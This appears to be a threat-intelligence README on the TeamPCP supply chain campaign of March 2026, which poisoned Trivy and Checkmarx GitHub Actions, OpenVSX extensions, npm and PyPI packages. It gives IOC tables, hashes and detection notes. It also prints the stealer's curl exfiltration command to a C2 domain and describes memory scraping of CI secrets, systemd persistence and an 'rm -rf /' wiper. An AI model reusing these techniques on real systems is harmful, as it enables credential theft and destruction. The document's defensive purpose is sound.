
CVE-2026-33634 (CVSS 9.4) — The most impactful CI/CD supply chain attack of 2026 so far.
CVE-2026-33634 (CVSS 9.4) — The most impactful CI/CD supply chain attack of 2026 so far.
Between March 19–25, 2026, threat actor TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CanisterWorm) executed a cascading supply chain compromise across five ecosystems: GitHub Actions, Docker Hub, OpenVSX, npm, and PyPI. Starting from a single incompletely-rotated GitHub PAT, the campaign spread across two major open-source security vendors (Aqua Security and Checkmarx), four GitHub Actions repositories, two VS Code extensions, container registries, and 66+ npm packages.
This repository provides a full technical breakdown, curated IOC lists (FP-tested), and detection queries ready to deploy in Microsoft Defender XDR.
Root cause: incomplete credential rotation after the February 28 breach. The aqua-bot service account PAT was either not revoked or the attacker observed the new token during rotation.
TeamPCP used this retained access to force-push version tags to malicious imposter commits. Each forged commit cloned the original's metadata (author, timestamp, message) while replacing the entry point script with the stealer payload. GitHub's release page showed no visible change — even the "Immutable" badge displayed normally.
The stealer — a 204-line entrypoint.sh self-identified as "TeamPCP Cloud stealer" — runs a three-stage attack:
Stage 1: Memory Scraping
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Stage 2: Filesystem Credential Sweep
Scans 50+ sensitive paths including:
~/.ssh/*)~/.npmrc).env filesStage 3: Encrypted Exfiltration
tpcp.tar.gzcurl POST to vendor-specific typosquat domainstpcp-docs or docs-tpcp repo in victim's GitHub account using stolen GITHUB_TOKENOn non-CI Linux systems, the malware:
~/.config/sysmon/sysmon.py)Stolen credentials from the Trivy wave enabled compromise of Checkmarx's ecosystem. Each new wave used a different typosquat C2 domain to evade blocklists from the previous wave:
| Wave | C2 Domain | Typosquat Of |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Extension | Malicious Version | Safe Version |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Both extensions were published 12 seconds apart at 12:53 UTC on March 23 via the ast-phoenix account. On activation, environmentAuthChecker.js checks for cloud provider credentials, then pulls a second-stage stealer from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Image | Malicious Tags |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Package | Versions | Backdoored File |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Triple-nested base64 payload with K8s lateral movement toolkit. Persistence via sysmon.service polling checkmarx.zone/raw.
The exfiltration pattern is identical across all waves:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
The typosquat domain strategy is deliberate: an analyst reviewing CI/CD logs sees curl traffic to what looks like the action's own vendor domain. Without careful comparison, scan.aquasecurtiy.org passes for aquasecurity.org in a fast log review.
Only the attacker can decrypt stolen data — the AES session key is RSA-OAEP encrypted with their public key.
Within 24 hours of the Trivy compromise, stolen npm tokens enabled a self-propagating worm across 66+ packages (141 malicious artifacts).
What makes CanisterWorm notable:
tdtqy-oyaaa-aaaae-af2dq-cai is a decentralized smart contract — no single takedown pointget_latest_link, http_request, update_linkyoutube.com, backdoor sleepspgmon (PostgreSQL monitoring)/tmp/pglog, state tracked in /tmp/.pg_stateKnown compromised scopes: @emilgroup/*, @teale.io/* (self-propagating variant in @teale.io/eslint-config v1.8.11, v1.8.12)
A destructive variant targets Iranian systems specifically:
kamikazerm -rf / --no-preserve-root with sudoDetection is via system timezone and locale checks.
Rule name: TeamPCP Supply Chain C2 and Malware IOC Match
Severity: High
Category: CommandAndControl
Frequency: Every 1 hour
See detection/defender_xdr_query.kql for the full KQL query.
The query covers:
A ready-to-import CSV is provided at iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. This file has been FP-tested against a production enterprise environment.
| Platform | Detection |
|---|---|
| Palo Alto Cortex XDR | Rule ioc.linux.shaihulud.2 — credential-access on GitHub Action runners |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, Curl Exfiltrating File, |
| URL | Function |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | Second-stage payload download |
checkmarx[.]zone/vsx |
| Name | Wave |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
The detection queries and IOC CSV in this repo have been tested against a production environment running:
The following IOCs were removed due to confirmed false positives:
MIT — Use, share, adapt freely. Attribution appreciated.
Author: Ugur Can Ates — SOC Team Lead & Senior Security Engineer
Last Updated: March 25, 2026
| Date (UTC) | Event |
|---|
| Feb 20, 2026 | hackerbot-claw account created; begins scanning repos for exploitable pull_request_target workflows |
| Feb 28, 2026 | First Trivy compromise via PWN request; credentials exfiltrated |
| Mar 1, 2026 | Aqua Security attempts containment — credential rotation incomplete |
| Mar 19, 17:43 | Main strike: TeamPCP force-pushes 75/76 tags in aquasecurity/trivy-action + all 7 tags in setup-trivy via compromised aqua-bot service account |
| Mar 19, 18:22 | Backdoored Trivy v0.69.4 published to GitHub Releases, Docker Hub, GHCR, ECR |
| Mar 20, 05:40 | Trivy-action compromise window closes (~12 hours) |
| Mar 20, 20:45 | CanisterWorm detected spreading across npm — 47+ packages compromised |
| Mar 22, 20:31 | TeamPCP defaces all 44 repos in aquasec-com GitHub org in a scripted 2-minute burst |
| Mar 22 | Docker Hub images 0.69.5 and 0.69.6 pushed with same stealer payload |
| Mar 23, 02:53 | Checkmarx wave begins: Malicious ast-results v2.53.0 and cx-dev-assist v1.7.0 published to OpenVSX via ast-phoenix account |
| Mar 23, 12:58 | All 35 tags of Checkmarx/kics-github-action force-pushed via compromised cx-plugins-releases account |
| Mar 23, 15:41 | Checkmarx reports OpenVSX issue resolved |
| Mar 23, 16:50 | KICS GitHub Action taken down after user report |
| Mar 23, 22:25 | Sysdig reports Checkmarx/ast-github-action v2.3.28 also compromised |
| Mar 24, 08:30 | LiteLLM wave: Trojanized litellm v1.82.7 and v1.82.8 published to PyPI using stolen credentials |
| Mar 24, 11:25 | PyPI quarantines malicious LiteLLM versions |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repository | Tags Compromised | Exposure Window (UTC) | Entry Point |
|---|
aquasecurity/trivy-action | 75 of 76 (safe: 0.35.0) | Mar 19 17:43 – Mar 20 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | All 7 tags | Mar 19 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | All 35 tags | Mar 23 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (likely all) | Mar 23 ~22:25+ | setup.sh |
Exfiltration of AWS IMDS Credentials Using LOTL Binary| Hash | Description | Source |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Trivy malicious entrypoint.sh | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm Wave 4 — final form | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm Wave 3 — self-propagating test | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm Wave 2 — armed ICP backdoor | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm Wave 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm Wave 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm Wave 3+ — deploy.js minified | Aikido Security |
| Indicator | Type | Purpose |
|---|
83.142.209.11 | IP | C2 server (checkmarx.zone) |
45.148.10.212 | IP | C2 server (scan.aquasecurtiy.org) |
checkmarx[.]zone | Domain | C2 — Checkmarx/KICS/LiteLLM wave |
scan.aquasecurtiy[.]org | Domain | C2 — Trivy wave |
models.litellm[.]cloud | Domain | C2 — LiteLLM PyPI wave |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | Domain | ICP canister dead-drop C2 |
| Exfiltration endpoint |
checkmarx[.]zone/raw | Persistence polling (50 min) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | ICP canister C2 |
| Path | Purpose |
|---|
~/.config/sysmon/ | Backdoor directory |
~/.config/sysmon.py | Python backdoor |
~/.config/systemd/user/sysmon.service | Systemd persistence |
~/.config/systemd/user/pgmon.service | CanisterWorm persistence (PostgreSQL masquerade) |
/tmp/pglog | Downloaded binary |
/tmp/.pg_state | C2 polling state |
| IOC | FP Source |
|---|
setup.sh (filename) | Ansible collections, Claude Code plugin cache, Bitnami scripts |
service.py (filename) | Ansible module_utils, protobuf, boto3, FreeIPA, K8s core |
deploy.js (filename) | Standard npm/node file |
169.254.169.254 (IMDS IP) | FortiMonitor agent, Oracle AHF — legitimate monitoring |
icp0.io (parent domain) | Too broad, catches legitimate ICP traffic |
hooks.slack.com (cmdline) | Legitimate Slack integrations |
discord.com/api/webhooks (cmdline) | Legitimate Discord integrations |
| Technique | ID | Context |
|---|
| Supply Chain Compromise: Software Dependencies | T1195.002 | GitHub Actions tag poisoning, OpenVSX, npm, PyPI |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | AWS IMDS theft from CI runners |
| Credentials from Password Stores | T1555 | Filesystem credential sweep (50+ paths) |
| OS Credential Dumping | T1003 | Runner.Worker /proc/mem scraping |
| Exfiltration Over C2 Channel | T1041 | Encrypted tpcp.tar.gz to typosquat domains |
| Web Service | T1102 | ICP canister dead-drop C2 |
| Systemd Service | T1543.002 | pgmon.service, sysmon.service persistence |
| Ingress Tool Transfer | T1105 | checkmarx-util-1.0.4.tgz download |
| Acquire Infrastructure: Domains | T1583.001 | Per-wave typosquat domains |
| Source | Link |
|---|